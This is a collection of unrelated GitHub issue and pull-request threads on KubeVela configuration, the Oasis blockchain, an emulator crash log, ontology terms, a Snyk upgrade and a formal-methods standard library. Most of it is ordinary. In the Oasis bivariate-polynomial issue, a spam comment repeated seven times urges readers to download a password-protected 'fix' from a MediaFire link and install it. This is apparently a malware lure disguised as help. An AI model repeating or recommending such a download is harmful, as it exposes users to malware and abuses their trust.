text:
How to use the for expression in healthPolicy.isHealth

ComponentDefination.yaml
apiVersion: core.oam.dev/v1beta1
kind: ComponentDefinition
metadata:
  name: tekton-run
  annotations:
    definition.oam.dev/description: "tekton TaskRun ComponentDefinition"
spec:
  workload:
    definition:
      apiVersion: tekton.dev/v1beta1
      kind: TaskRun
  status:
    healthPolicy: |
      isHealth: for k, v context.output.status.conditions {
        (v.type == "Succeeded") && (v.status == "true")
      }
  schematic:
    cue:
      template: |
        output: {
        	apiVersion: "tekton.dev/v1beta1"
        	kind:       "TaskRun"
        	metadata:
        		name: context.name
        	spec: {
        		if parameter.saname != _|_ {
        			serviceAccountName: parameter.saname
        		}
        		taskRef: {
        			name: parameter.taskname
        		}
        		resources: {
        			inputs: [{
        				name: "repo"
        				resourceRef: {
        					name: parameter.taskname
        				}
        			}]
        		}
        	}
        }

        parameter: {
        	// +usage=Specify the taskrun TaskRef
        	taskname: string

        	// +usage=Specify the taskrun ServiceAccountName
        	saname: string
        }

The TaskRun printer columns：
  - additionalPrinterColumns:
    - jsonPath: .status.conditions[?(@.type=="Succeeded")].status
      name: Succeeded
      type: string
    - jsonPath: .status.conditions[?(@.type=="Succeeded")].reason
      name: Reason
      type: string
    - jsonPath: .status.startTime
      name: StartTime
      type: date
    - jsonPath: .status.completionTime
      name: CompletionTime
      type: date

@leejanee  please help

status:
healthPolicy: |
isHealth: *false | bool
for k, v context.output.status.conditions {
{
if  (v.type == "Succeeded") && (v.status == "true"){
isHealth: true
}
}
}

@leejanee Thanks, I get. There’s something wrong with my example, this is correct:
  status:
    healthPolicy: |
      isHealth: *false | bool
      for k, v in context.output.status.conditions {
        {
           if  (v.type == "Succeeded") && (v.status == "True"){
             isHealth: true
           }
        }
      }

authors: cnbailian leejanee wonderflow

repo: oam-dev/kubevela


text:
Can not auto redirect to login page when token is expired.

When The token is expired, the page is always loading.
I think it should auto redirect to login page.

Did you log in with SSO or Local, it is convenient to record a video so that developers can get more detailed information

@wangcanfengxs Please upgrade the VelaUX addon to the 1.3.2 version.
vela addon enbale velaux --version=v1.3.2

source: gharchive/issue

authors: barnettZQG wangbow wangcanfengxs

repo: oam-dev/velaux

license_type: permissive

license_source: github-api


text:
Changes for slider doc

Please review both code and docs

Codecov Report

Merging #25 into master will increase coverage by 0.36%.
The diff coverage is 45.65%.

@@            Coverage Diff             @@
##           master      #25      +/-   ##
==========================================
+ Coverage   64.35%   64.72%   +0.36%
==========================================
  Files          16       16
  Lines        4879     4935      +56
==========================================
+ Hits         3140     3194      +54
- Misses       1739     1741       +2

Impacted Files
Coverage Δ

stix2slider/options.py
58.41% <ø> (ø)
:arrow_up:

stix2slider/convert_pattern.py
57.78% <0%> (ø)
:arrow_up:

stix2slider/convert_stix.py
65.76% <46.15%> (+2.64%)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 9226d60...6a03927. Read the comment docs.

source: gharchive/pull-request

authors: codecov-io rpiazza

repo: oasis-open/cti-stix-slider


text:
3.6.8-node_types-01-valid

Node type scenario 01:

Node type with all keynames
See https://github.com/oasis-open/tosca-test-assertions/blob/master/Parser-Validator/3.6.6-capability_types-01-valid.yml for help to get started

Assigned to Matt

repo: oasis-open/tosca-test-assertions


text:
Disable unsupported paratimes

Problem
Currently all ParaTimes are enabled. Missing tooltip on hover for desktop & bottom tooltip on mobile.
Solution

add useGetBoundingClientRect hook, as it was the only way of getting the right measurement of the svg components. getBBox and ResizeObserver were not reliable;
bounding box recalculates on scale change;
add desktop tooltips;
add mobile fixed tooltip;

Links
https://www.loom.com/share/9a5631ad0ff04fbe8d97f2a77046165e

Not sure if I have some local issues, but it looks like graph is re-rendering app. I wonder if this can be a problem or it's related to issues below:

desktop: not able to see Emerald tooltip
mobile: can't see tooltips
mobile: not able to nav to Emerald

TODO: Refactor file structure after review complete

authors: buberdds lubej

repo: oasisprotocol/explorer


text:
Transfer between staking and runtime ledgers

As the staking ledger should be used exclusively for staking, we need to support transfer of tokens between the staking ledger (whcih lives in the BFT committee) and the ledger(s) maintained by the runtime(s). The runtime ledgers have runtime-specific semantics.
The transfer operation(s) would consist of two parts:

Update of the staking ledger (can only be done by the BFT committee, e.g., the roothash ABCI application), which happens by updating the ABCI application state.
Update of the runtime ledger (can only be done by the runtime as the ledger has runtime-specific semantics), which happens by updating storage.

Care must be taken to avoid any possibility of losing or duplicating funds (e.g., the operation(s) must be atomic).
Notes:

The runtime probably needs some way to query staking balances. Care must be taken as the staking accounts can change while the runtime is executing.
The runtime needs to signal the requested change in the staking account(s) to the BFT committee. Related to the first note, while the BFT committee can (and should) verify that there is enough balance in the staking account, the only thing it can do to prevent breaking atomicity is to abort the whole round (and thus many unrelated batches) as it has no way of reverting only specific updates to storage. Care must be taken to not turn this into a DoS vector.
Perhaps there is a way to make these transfers multi-phase where the staking account is first locked and then transfers are performed knowing that the balance cannot change while the runtime is executing transactions. Again care must be taken to not turn any such locking scheme into a DoS vector.
To prevent spamming only owners of staking accounts should be able to initiate such transfers. This means that the runtime needs to provide a valid authorization signature for the given staking account to the BFT committee (this signature would be provided by stakeholder, e.g., embedded in a regular transaction).

Probably out of scope:

With this feature in place, a badly written runtime can cause funds to appear from thin air and transfer them to the staking ledger which can potentially compromise the rest of the system. This probably cannot be avoided. (see #2302)

With this feature in place, a badly written runtime can cause funds to appear from thin air

Thinking about it, each runtime should probably have an account in the consensus layer which would be checked and updated during these operations. That would ensure that it can't create extra tokens as tokens would need to be transferred to the runtime before they can be transferred out.

^ I'll move this to a new subissue, so that we can more easily consider it for an earlier phase, independently from the runtime-related work

Now specified in ADR 0003.

authors: kostko pro-wh

repo: oasisprotocol/oasis-core


text:
no way to add two bivariates polynomials (esp w/ different max degrees)

https://github.com/oasisprotocol/oasis-core/blob/18da8bc49d92a543795246b8bb7fb574df070eec/secret-sharing/src/poly/bivariate.rs#L15
while we don't need to do proactive verifiable secret sharing by adding zero holed bivariate polynomials since we can do churp dimension switching and get the same effect, it will be useful to be able to add a zero holed bivariate polynomial to a bivariate used for churp, esp with the max degree(s) growing.
the rationale for wanting this ability is this:  we would like to be able to optionally grow the reconstruction threshold (as well as the number of shareholders for availability) as the value of the secrets being protected grows.  in the context of a blockchain system, this would correspond to something like the total value locked increasing over time as the usage increases.

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

Agree, adding add functionality will be needed in the future once we support changing the threshold. The current version doesn't do that, so I would postpone this to later.


text:
Ghost footer needs tweaks

See here: https://blog.oa.works/open-access-button-is-now-oa-works/
Need to:

[ ] add cc licensing
[ ] remove powered by ghost
[ ] filter out posts with talk in them from the feed

filter out posts with talk in them from the feed

What are those?

This isn’t an oa-works issue, moving to the appropriate repo.

authors: JosephMcArthur sssoz

repo: oaworks/oa-works

license: MIT


text:
Add a function to open a random Zettel

Adds a function to open a random zettel. I occasionally find this useful to explore my Zettelkasten.
I haven't mapped any keys — but happy to add gzr (that I use in my config) if that's acceptable.

@oberblastmeister does adding that sound good?

Sounds good

authors: VVKot oberblastmeister


text:
Syscall 599 failed: cannot unprotect memory

After properly installing my Persona 5 Royal in a similar fashion to how I did Tom Clancy The Division, Persona 5 Royal now gets an error when attempting to run.
++++++++++++++++++ W [00:00:00:01:243]:0x000000000001ccb0:kernel\src\syscalls\mod.rs:68
Syscall 599 failed: cannot unprotect the memory of /mnt/sandbox/CUSA17416_000/app0/eboot.bin -> address 0x1e9991373d8 is not mapped.

Can you provide the full log?

Can you provide the full log?

++++++++++++++++++ I [00:00:00:00:001]:0x0000000000025eb8:kernel\src/main.rs:115
Starting Obliteration Kernel.
System directory    : G:\obSTORAGE\dev_sys
Game directory      : G:\obSTORAGE\dev_hdd0\CUSA17416
Debug dump directory: C:\Users\Windows Games\AppData\Local\OBHQ\Obliteration\kernel
++++++++++++++++++ I [00:00:00:00:001]:0x0000000000025eb8:kernel\src/main.rs:128
Initializing arc4random.
++++++++++++++++++ I [00:00:00:00:001]:0x0000000000025eb8:kernel\src/main.rs:137
Initializing file system.
++++++++++++++++++ I [00:00:00:00:001]:0x0000000000025eb8:kernel\src/main.rs:148
Initializing memory manager.
++++++++++++++++++ I [00:00:00:00:001]:0x0000000000025eb8:kernel\src/main.rs:151
Page size is             : 4096
Allocation granularity is: 65536
++++++++++++++++++ I [00:00:00:00:001]:0x0000000000025eb8:kernel\src/main.rs:164
Initializing virtual process.
++++++++++++++++++ I [00:00:00:00:002]:0x0000000000025eb8:kernel\src/main.rs:172
Initializing runtime linker.
++++++++++++++++++ I [00:00:00:00:017]:0x0000000000025eb8:kernel\src/main.rs:183
Application   : /mnt/sandbox/CUSA17416_000/app0/eboot.bin
Image format  : SELF
Image type    : ET_SCE_DYNEXEC
Program 0     : 0x0000000000004000:0x0000000001a25f14 => 0x0000000000000000:0x0000000001a21f14 PT_LOAD
Program 1     : 0x0000000001a28000:0x0000000001a80ec8 => 0x0000000001c00000:0x0000000001c58ec8 PT_SCE_RELRO
Program 2     : 0x0000000001a84000:0x0000000001f46a68 => 0x0000000001e00000:0x00000000025995d0 PT_LOAD
Program 3     : 0x0000000001a84000:0x0000000001a84058 => 0x0000000001e00000:0x0000000001e00058 PT_SCE_PROCPARAM
Program 4     : 0x000000000203ff18:0x0000000002040c78 => 0x0000000000000000:0x0000000000000d60 PT_DYNAMIC
Program 5     : 0x0000000000004000:0x0000000000004015 => 0x0000000000000000:0x0000000000000015 PT_INTERP
Program 6     : 0x0000000000000000:0x0000000000000000 => 0x0000000000000000:0x0000000000000000 PT_TLS
Program 7     : 0x00000000019f07b8:0x0000000001a25f14 => 0x00000000019ec7b8:0x0000000001a21f14 PT_GNU_EH_FRAME
Program 8     : 0x0000000001f46a70:0x0000000002040c78 => 0x0000000000000000:0x0000000000000000 PT_SCE_DYNLIBDATA
Program 9     : 0x0000000002040c80:0x0000000002040ccc => 0x0000000000000000:0x0000000000000000 PT_SCE_COMMENT
Program 10    : 0x0000000002040ccc:0x0000000002041589 => 0x0000000000000000:0x0000000000000000 PT_SCE_VERSION
Needed        : libSceSysmodule.prx
Needed        : libSceUserService.prx
Needed        : libSceSystemService.prx
Needed        : libSceFiber.prx
Needed        : libSceFios2.prx
Needed        : libScePad.prx
Needed        : libSceVideoOut.prx
Needed        : libSceGnmDriver.prx
Needed        : libkernel.prx
Needed        : libSceMouse.prx
Needed        : libSceIme.prx
Needed        : libSceRtc.prx
Needed        : libSceFont-module.prx
Needed        : libSceFontFt-module.prx
Needed        : libSceAudioOut.prx
Needed        : libSceSaveData.prx
Needed        : libSceSaveDataDialog.prx
Needed        : libSceCommonDialog.prx
Needed        : libSceScreenShot.prx
Needed        : libSceGameLiveStreaming.prx
Needed        : libSceVideoRecording.prx
Needed        : libSceNet.prx
Needed        : libSceNetCtl.prx
Needed        : libSceNpCommon.prx
Needed        : libSceNpManager.prx
Needed        : libSceNpScoreRanking.prx
Needed        : libSceNpTrophy.prx
Needed        : libSceNpTus.prx
Needed        : libSceNpMatching2.prx
Needed        : libSceSsl2.prx
Needed        : libSceHttp.prx
Needed        : libSceNpWebApi.prx
Needed        : libSceAppContent.prx
Needed        : libSceImeBackend.prx
Needed        : libSceErrorDialog.prx
Needed        : libSceVideodec2.prx
Needed        : libSceSharePlay.prx
Needed        : libScePlayGo.prx
Needed        : libSceJson2.prx
Needed        : libSceSigninDialog.prx
Needed        : libSceMsgDialog.prx
Needed        : libScePlayGoDialog.prx
Needed        : libSceAt9Enc.prx
Needed        : libSceAjm.prx
Needed        : libc.prx
Module flags  : MAIN_PROG | TEXT_REL | UNK2
TLS index     : 1
Memory address: 0x0000026ee5b10000:0x0000026ee832c000
Initialization: 0x0000026ee5f10020
Entry address : 0x0000026ee5f10080
Finalization  : 0x0000026ee75f3320
TLS init      : 0x0000026ee5f10000:0x0000026ee5f10000
TLS size      : 0
EH header     : 0x0000026ee78fc7b8:0x0000026ee7931f14
Process param : 0x0000026ee7d10000:0x0000026ee7d10058
Program 0 is mapped to 0x0000026ee5f10000:0x0000026ee7934000 with EXECUTE | READ.
Program 1 is mapped to 0x0000026ee7b10000:0x0000026ee7b6c000 with READ.
Program 2 is mapped to 0x0000026ee7d10000:0x0000026ee84ac000 with WRITE | READ.
++++++++++++++++++ I [00:00:00:00:017]:0x0000000000025eb8:kernel\src/main.rs:191
Loading /system/common/lib/libkernel.sprx.
++++++++++++++++++ I [00:00:00:00:018]:0x0000000000025eb8:kernel\src/main.rs:202
Image format  : ELF
Image type    : ET_SCE_DYNAMIC
Program 0     : 0x0000000000004000:0x0000000000054318 => 0x0000000000000000:0x0000000000050318 PT_LOAD
Program 1     : 0x0000000000058000:0x0000000000059010 => 0x0000000000054000:0x0000000000055010 PT_SCE_RELRO
Program 2     : 0x000000000005c000:0x000000000005c330 => 0x0000000000058000:0x000000000008f590 PT_LOAD
Program 3     : 0x000000000005c000:0x000000000005c020 => 0x0000000000058000:0x0000000000058020 PT_SCE_MODULE_PARAM
Program 4     : 0x000000000006d488:0x000000000006d9a8 => 0x0000000000000000:0x0000000000000520 PT_DYNAMIC
Program 5     : 0x0000000000000000:0x0000000000000000 => 0x0000000000000000:0x0000000000000000 PT_TLS
Program 6     : 0x0000000000050e9c:0x0000000000054318 => 0x000000000004ce9c:0x0000000000050318 PT_GNU_EH_FRAME
Program 7     : 0x000000000005c330:0x000000000006d9a8 => 0x0000000000000000:0x0000000000000000 PT_SCE_DYNLIBDATA
Program 8     : 0x0000000000000000:0x0000000000000000 => 0x0000000000000000:0x0000000000000000 PT_SCE_VERSION
Needed        : libSceLibcInternal.prx
Needed        : libSceGnmDriver.prx
Module flags  : UNK1
TLS index     : 0
Memory address: 0x0000026ee8330000:0x0000026ee85c0000
Entry address : 0x0000026ee83587e8
Finalization  : 0x0000026ee83667a0
TLS init      : 0x0000026ee8330000:0x0000026ee8330000
TLS size      : 0
EH header     : 0x0000026ee837ce9c:0x0000026ee8380318
Program 0 is mapped to 0x0000026ee8330000:0x0000026ee8384000 with EXECUTE | READ.
Program 1 is mapped to 0x0000026ee8384000:0x0000026ee8388000 with READ.
Program 2 is mapped to 0x0000026ee8388000:0x0000026ee83c0000 with WRITE | READ.
++++++++++++++++++ I [00:00:00:00:018]:0x0000000000025eb8:kernel\src/main.rs:213
Loading /system/common/lib/libSceLibcInternal.sprx.
++++++++++++++++++ I [00:00:00:00:018]:0x0000000000025eb8:kernel\src/main.rs:224
Image format  : ELF
Image type    : ET_SCE_DYNAMIC
Program 0     : 0x0000000000004000:0x0000000000129c8c => 0x0000000000000000:0x0000000000125c8c PT_LOAD
Program 1     : 0x000000000012c000:0x0000000000130510 => 0x0000000000128000:0x000000000012c510 PT_SCE_RELRO
Program 2     : 0x0000000000134000:0x000000000013dbe8 => 0x0000000000130000:0x0000000000149110 PT_LOAD
Program 3     : 0x0000000000134000:0x000000000013a4d8 => 0x0000000000130000:0x00000000001364d8 PT_SCE_MODULE_PARAM
Program 4     : 0x000000000016cc78:0x000000000016cf18 => 0x0000000000000000:0x00000000000002a0 PT_DYNAMIC
Program 5     : 0x000000000013a4e0:0x000000000013a660 => 0x00000000001364e0:0x0000000000136a40 PT_TLS
Program 6     : 0x0000000000122a88:0x0000000000129c8c => 0x000000000011ea88:0x0000000000125c8c PT_GNU_EH_FRAME
Program 7     : 0x000000000013dc00:0x000000000016cf18 => 0x0000000000000000:0x0000000000000000 PT_SCE_DYNLIBDATA
Program 8     : 0x0000000000000000:0x0000000000000000 => 0x0000000000000000:0x0000000000000000 PT_SCE_VERSION
Needed        : libkernel.prx
Needed        : libSceLibcInternal.prx
Module flags  : UNK1
TLS index     : 2
Memory address: 0x0000026ee85c0000:0x0000026ee890c000
Finalization  : 0x0000026ee86953b0
TLS init      : 0x0000026ee86f64e0:0x0000026ee86f6660
TLS size      : 1376
EH header     : 0x0000026ee86dea88:0x0000026ee86e5c8c
Program 0 is mapped to 0x0000026ee85c0000:0x0000026ee86e8000 with EXECUTE | READ.
Program 1 is mapped to 0x0000026ee86e8000:0x0000026ee86f0000 with READ.
Program 2 is mapped to 0x0000026ee86f0000:0x0000026ee870c000 with WRITE | READ.
++++++++++++++++++ I [00:00:00:00:019]:0x0000000000025eb8:kernel\src/main.rs:227
Initializing system call routines.
++++++++++++++++++ I [00:00:00:00:019]:0x0000000000025eb8:kernel\src/main.rs:233
Initializing execution engine.
++++++++++++++++++ I [00:00:00:00:019]:0x0000000000025eb8:kernel\src/main.rs:248
Patching modules.
++++++++++++++++++ I [00:00:00:01:206]:0x0000000000025eb8:kernel\src/main.rs:252
353 patch(es) have been applied to /system/common/lib/libkernel.sprx.
187 patch(es) have been applied to /system/common/lib/libSceLibcInternal.sprx.
2 module(s) have been patched successfully.
++++++++++++++++++ I [00:00:00:01:206]:0x0000000000025eb8:kernel\src/main.rs:302
Starting application.
++++++++++++++++++ W [00:00:00:01:206]:0x0000000000025eb8:kernel\src\syscalls\mod.rs:68
Syscall 599 failed: cannot unprotect the memory of /mnt/sandbox/CUSA17416_000/app0/eboot.bin -> address 0x26ee8945018 is not mapped.
++++++++++++++++++ P [00:00:00:01:206]:0x0000000000025eb8:kernel\src\syscalls\mod.rs:83
not yet implemented: int 0x44 at at 0x0000000000028862 on /system/common/lib/libkernel.sprx

authors: VocalFan ultimaweapon

repo: obhq/obliteration


text:
Change method name 'create' to 'createJsonParser', 'fill' to 'readBytes'

The class JsonParser is used to represent  a json Parser.  This method named 'create' is to create a Json parser. Thus, the method name 'createJsonParser' is more intuitive than 'create'.
The class Socks5ProxySocketFactory is used to represent  Socks5ProxySocketFactory.  This method named 'fill' is to read a sequence of bytes. Thus, the method name 'readBytes' is more intuitive than 'fill'.

Agree on both! However, the contract all over the Jodd is to use create() as a static ctor, hence I will cherrypick the second commit only. Thank you very very much, always love good namings!

Cherrypicked: 02437e2ed43c7ef48576193393f2f210cb8e7371

repo: oblac/jodd

license_source: bigquery


text:
Update FontAwesome5 to 5.5.0

Updating the FontAwesome 5 fonts and glyphmaps to version 5.5.0.

Thank you, I have not had time to do this yet. Have you tried it (to make sure its working properly) and did you use the script to upgrade? 🙂

I used the script to upgrade. I didn’t integrate with a test RN repo yet to
verify - on my TODO list.
On Mon, Nov 5, 2018 at 6:20 AM Hampus Tågerud notifications@github.com
wrote:

Thank you, I have not had time to do this yet. Have you tried it (to make
sure its working properly) and did you use the script to upgrade? 🙂
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/oblador/react-native-vector-icons/pull/889#issuecomment-435891720,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AACdNdN-mDZpbk2UrneBDJjsqr3LauwNks5usEkmgaJpZM4YM90s
.

LGTM 🙂

Released in 6.1.0.

authors: calvinf hampustagerud oblador

repo: oblador/react-native-vector-icons


text:
temporomandibular joint disk

Add:
abnormal temporomandibular joint disk morphology
DEF: any structural anomaly of the oval, biconcave, avascular fibrocartilaginous structure located between the condyle of the mandible and the mandibular (glenoid) fossa of the temporal bone; the disk provides the gliding surface for the mandibular condyle, resulting in smooth joint movement; it splits the temporomandibular joint into two synovial joint cavities, each lined by a synovial membrane, and separates translational and rotational motion
SYN: abnormal temporomandibular joint disc morphology
SYN: abnormal temporomandibular joint meniscus morphology
SYN: abnormal articular disk of temporomandibular joint morphology
SYN: abnormal temporomandibular articular disk morphology
SYN: abnormal temporomandibular articular disc morphology
SOURCES:
https://radiopaedia.org/articles/temporomandibular-joint-disc
https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4147437/
http://teachmeanatomy.info/head/joints/temporomandibular/
absent temporomandibular joint disk
DEF: missing the oval, biconcave, avascular fibrocartilaginous structure located between the condyle of the mandible and the mandibular (glenoid) fossa of the temporal bone; the disk provides the gliding surface for the mandibular condyle, resulting in smooth joint movement; it splits the temporomandibular joint into two synovial joint cavities, each lined by a synovial membrane, and separates translational and rotational motion
SYN: absent temporomandibular joint disc
SYN: absent articular disk of temporomandibular joint
SYN: absent articular disc of temporomandibular joint
SYN: absent temporomandibular joint meniscus
SYN: absent temporomandibular articular disk
SYN: absent temporomandibular articular disc

abnormal temporomandibular joint disk morphology MP:0030330
absent temporomandibular joint disk MP:0030331


text:
Vision/eye MP terms fix

Could you please add hyphens to the following MP terms:
abnormal a-wave shape (MP:0012034)
abnormal a-wave amplitude (MP:0012030)
decreased a-wave amplitude (MP:0012143)
increased a-wave amplitude (MP:0012145)
abnormal b-wave amplitude (MP:0012031)
decreased b-wave amplitude (MP:0012144)
increased b-wave amplitude (MP:0012146)
abnormal c-wave shape (MP:0012040)
abnormal a-wave implicit time (MP:0012038)
decreased a-wave implicit time (MP:0012148)
increased a-wave implicit time (MP:0012147)
abnormal b-wave implicit time (MP:0012039)
decreased b-wave implicit time (MP:0012149)
increased b-wave implicit time (MP:0012150)
abnormal a-wave latency (MP:0012036)
decreased a-wave latency (MP:0012152)
increased a-wave latency (MP:0012151)
abnormal b-wave latency (MP:0012037)
decreased b-wave latency (MP:0012154)
increased b-wave latency (MP:0012153)
absent b-wave (MP:0020439)

fixed in labels, definitions and synonyms

fixed in labels, definitions and synonyms

authors: abby-jonesKOMP sbello


text:
[Snyk] Security upgrade python from 3.10-slim-bullseye to 3.12.7-slim-bullseye

Snyk has created this PR to fix 1 vulnerabilities in the dockerfile dependencies of this project.
Keeping your Docker base image up-to-date means you’ll benefit from security fixes in the latest version of your chosen image.
Snyk changed the following file(s):

Dockerfile

We recommend upgrading to python:3.12.7-slim-bullseye, as this image has only 66 known vulnerabilities. To do this, merge this pull request, then verify your application still works as expected.
Vulnerabilities that will be fixed with an upgrade:

Issue
Score

Out-of-bounds Read SNYK-DEBIAN11-E2FSPROGS-2628459
  614

Out-of-bounds Read SNYK-DEBIAN11-E2FSPROGS-2628459
  614

Out-of-bounds Read SNYK-DEBIAN11-E2FSPROGS-2628459
  614

Out-of-bounds Read SNYK-DEBIAN11-E2FSPROGS-2628459
  614

Out-of-bounds Read SNYK-DEBIAN11-E2FSPROGS-2628459
  614

[!IMPORTANT]

Check the changes in this PR to ensure they won't cause issues with your project.
Max score is 1000. Note that the real score may have changed since the PR was raised.
This PR was automatically created by Snyk using the credentials of a real user.

Note: You are seeing this because you or someone else with access to this repository has authorized Snyk to open fix PRs.
For more information:
🧐 View latest project report
📜 Customise PR templates
🛠 Adjust project settings
📚 Read about Snyk's upgrade logic

Learn how to fix vulnerabilities with free interactive lessons:
🦉 Learn about vulnerability in an interactive lesson of Snyk Learn.

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.

authors: CLAassistant lalitpagaria

repo: obsei/obsei


text:
Stdlib

Here is my pull request for the updated standard library. The goals of
this update are to:

Give a precise specification to the defintions within the library so
that there is no ambiguity as to their meaning

Gear this library to the definition of mathematical and logical
formulae that will be used within specifications. This means removing
elements such as references and exceptions which do not make sense
in purely logical contexts

In order to achieve these two goals, we have removed or modified some
of the definitions within this library. I will now go over them and
justify them (note that some of these definitions are still in the
standard library but only so that the tests still pass. In the
future, these should be modified so as to not rely on these
definitions):

Removed Definitions

References
Self explanatory: it does not make sense to talk about references
within purely logical formulae.

Bitwise Operations
Although one could imagine a specification where one uses bitwise
operations, these operations are out of place in a mathematical
library. Additionally, these definitions are already present in the
OCaml standard library and it does not make sense to duplicate them
here. A better alternative would be to give those functions a gospel
specification and allow users to use them if necessary in their
specifications.

Operations on Pairs
Similar justification to bitwise operations.

Sequence Module
In the sequence module we remove the functions filter_map,
fold_right, and renamed fold_left to fold In the case of filter_map
and fold_right, these are just compositions of previously defined
functions; in the case of the former filter and map, and in the case
of the later fold and rev. The renaming of fold_left felt natural
since there is only one fold function. I don't feel very strongly
about these changes and if enough of a need arises, we could add them
again.

List Module
The entire List module was removed from the standard library. The main
reason is that the list type serves a similar purpose to sequence
within specifications and it feels unnatural to have two very similar
ways of reasoning over an ordered sequence of elements. Currently, to
reason over lists in Gospel specifications, we just use a coercion
that transforms them into sequences; in the future when we add some
form of representation predicates to Gospel, we could have it so that
the logical model of the type list is sequence.

Array Module
As i said with regards to references, it does not make sense to talk
about arrays in a logical context

Bag Module
The occurrences function has been renamed to multiplicity. This also
implied changing some of the tests.
The is_empty function has been removed since one could simple state
b = empty as opposed to is_empty b.
The choose and choose_opt functions have also been removed. It is
unclear why one would use these in a specification.
The map has also been removed. This is because it is very difficult to
define it in the case that the parameterized function is not
injective.
The fold function has also been removed. This is because it is
impossible to define this function without also defining a canonical
ordering of the elements within the bag.
The _exists and for_all predicates have also been removed as well as
the partition function. To be honest, I do not remember the reasons
why.
The conversion function to a sequence has also been removed since this
would also imply a canonical ordering. The conversion from a sequence
has also been removed, but I think that might have been a mistake.

Set Module
The compare function has been removed, no idea what kind of
specification one could give it or why one would use it in a
specification.
The remaining removed functions are similar to those from the Bag
module and therefore I don't think there is a need to explain them
again.

Order module
Since this module is about mathematical definitions it feels out of
place to define a class of valid ordering functions for OCaml
code. Although it makes sense to have this definition somewhere in
Gospel, we should place it somewhere else.

System Variables and Exceptions
Similar Reasoning as to references.

Added Definitions
I don't think anything that we have added merits in depth explanation:
mostly it was just defining all the functions we could and
axiomatizing the rest. The majority of these definitions have been
formalized and verified in Coq with a few exceptions these beings some
axioms regarding cardinality and a few recently added axioms regarding
subsequences.

Future Work
One glaring omission is the absence of axioms regarding arithmetic operations. These are absent since they are very cumbersome although fairly straight forward.
I would like have better notation for all of these Gospel data types:
notably it would be pleasant to have pretty notation for the init and mem functions.
Naturally, if these changes are accepted, the tests should be changed
so as to not rely on deprecated definitions. Personally, I think we
should leave them as is and tackle them once we have ways of talking
about ownership of OCaml values. This is because some of these
conflicts, notably with references and arrays, are due to the fact
that Gospel does not have a good way of talking about them in
specifications. I believe that once we have added some form of
representation predicates, that these tests can be rewritten quite
naturally.
Finally, at some point we should separate these modules into distinct
files. For now, since the standard library is still quite small, it is
still manageable, however, as we add more things to it, it can very
quickly become a big mess.

I agree with most of your points, I normalized the formatting as you requested. I also made it so each function is abstract and re-added fold_left fold_right. With regards to the Coq proof, I didn't add it since I only want to put it in the repo once we have a stable version of the library. If there isn't anything too objectionable with what we have here, I will work on adding these changes to the Coq proof and adding it to the PR.

I have added the Coq proof, as well as fixing some small mistakes. There are two Coq files for the proof, the first is the gospelstdlib_mli.v which is the automatically generated file which contains a module type Stdlib with all of the required definitions and lemmas. The second is the gospelstdlib_verfied.v which contains a module Gospelstdlib of type Stdlib. This means that this project will only compile if all of the definitions in the Stdlib module type are present. I have also added a _CoqProject file as well as a Coq Makefile. Important to note that this proof requires TLC.
In the future, once we integrate my changes into Gospel, we could have an extra test which checks if the gospelstdlib_verified file is still congruent with the current standard library by translating it into Coq and checking if the project still compiles.

Since we have partial functions in Gospel, I am wondering what is the semantic of second order functions when one of the function argument is partial.
For example, the Sequence.init function is defined as:
(*@ function init (n: integer) (f: integer -> 'a) : 'a t *)

My guess would be that init n f is not defined when f is not defined for an x in 0..n-1].
Do we need to document that? And if we do, how do we do it?

Hello, I fixed all of the things you noted. I also updated the change
log. With regards to what you noted about higher order functions, I
don't understand the problem. When you say init is undefined when f is
not defined in the given range, wouldn't this problem arise regardless
of whether or not the function was partially applied?
In any case, I would say that if Gospel assumes functional
extensionality then I would say that we do not need any special
specifications for partially applied functions since we can leverage
the fact that forall f g x y. f x = g <-> f x y = g y.

Thanks!
The more I review this PR, the more I think this is a very nice new standard library.
I haven't reviewed the Coq/Rocq proof, as I am certainly not an expert.
Am I correct in understanding that this provides a Coq/Rocq implementation of the Gospel standard library proven correct w.r.t the Gospel axioms?
I have just a few remaining small remarks:

line 347: Creates -> creates
move line 428 to 422, attaching the informal documentation to its item
line 466: predicate finite doesn't have any informal documentation (even a trivial one)
line 510: maybe we can remove it already?
line 666: predicate finite doesn't have any informal documentation (again, even a trivial one)
line 673: maybe we can remove it already?

With regards to what you noted about higher order functions, I don't understand the problem.

There is no problem :-), I was just wondering. In retrospect, this is something that should be documented in the language definition rather than in the standard library documentation.
How do you want to proceed about the three modules at the end to be removed? You want to do it in this PR or another one? I believe this should be done before a release with the new standard library.

The same line of argument applies to the removal of filter_map.

I believe you didn't add back Sequence.filter_map. We do use it in a test in Ortac (here and there.

It makes sense to remove them in another commit as it will contain an update of the tests.
Thanks for adding back Sequence.filter_map! (If you want to be acribic about your git history, you remove the definition in the first commit (here) before adding it back in the third one (here), with a better documentation though.
But it is totally ok as it is :smiley: )

I removed the deprecated modules and changed the tests accordingly,
which consisted of coercing values of type list and array into
sequence or something similarly simple.
A few other changes I made:

Since the Order module was used by several tests, instead of copying
it into each file, I added an Order.mli file with the is_pre_order
predicate.
Related to the previous point, I fixed a bug where Gospel could not
open a module contained in a file that starts with a capital
letter.
